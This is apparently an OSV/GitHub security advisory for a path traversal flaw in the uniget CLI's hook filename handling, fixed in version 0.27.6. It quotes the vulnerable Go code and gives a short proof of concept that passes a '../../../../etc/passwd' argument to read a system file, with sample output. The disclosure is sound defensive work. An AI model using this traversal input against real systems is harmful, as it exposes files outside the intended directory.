GHSA-m6jg-wr9m-cg2f

Suggest an improvement
Source
https://github.com/advisories/GHSA-m6jg-wr9m-cg2f
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-m6jg-wr9m-cg2f/GHSA-m6jg-wr9m-cg2f.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-m6jg-wr9m-cg2f
Aliases
Published
2026-08-17T17:46:33Z
Modified
2026-08-18T15:11:05Z
Severity
  • 6.9 (Medium) CVSS_V4 - CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N CVSS Calculator
Summary
uniget CLI has Path Traversal in Hook Files - Directory Escape Vulnerability
Details

Summary

Path Traversal vulnerability in hook filename handling allows attackers to access and manipulate arbitrary files outside the hooks directory via directory escape sequences like passwd.

Details File: hooks.go Lines 135-160

hookFileName := args[0]  // User input not validated
hookFile = preInstallHooksDir + "/" + hookFileName  // Direct concatenation

Hook filenames are concatenated directly without sanitizing ../ sequences, allowing directory traversal.

PoC

Step 1: Set cat as editor

export EDITOR="cat"

Step 2: Read /etc/passwd via path traversal

./uniget hooks edit --type=pre-install "../../../../etc/passwd"

Step 3: Output shows file contents

root:x:0:0:root:/root:/bin/bash
daemon:x:2:2:daemon:/sbin:/sbin/nologin
[...]
image
Database specific
{
    "cwe_ids":  [
        "CWE-22",
        "CWE-23",
        "CWE-36",
        "CWE-73"
    ],
    "github_reviewed":  true,
    "github_reviewed_at":  "2026-08-17T17:46:33Z",
    "nvd_published_at":  null,
    "severity":  "MODERATE"
}
References

Affected packages

Go / gitlab.com/uniget-org/cli

Package

Name
gitlab.com/uniget-org/cli
View open source insights on deps.dev
Purl
pkg:golang/gitlab.com/uniget-org/cli

Affected ranges

Type
SEMVER
Events
Introduced
0 Unknown introduced version / All previous versions are affected
Fixed
0.27.6

Database specific

source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-m6jg-wr9m-cg2f/GHSA-m6jg-wr9m-cg2f.json"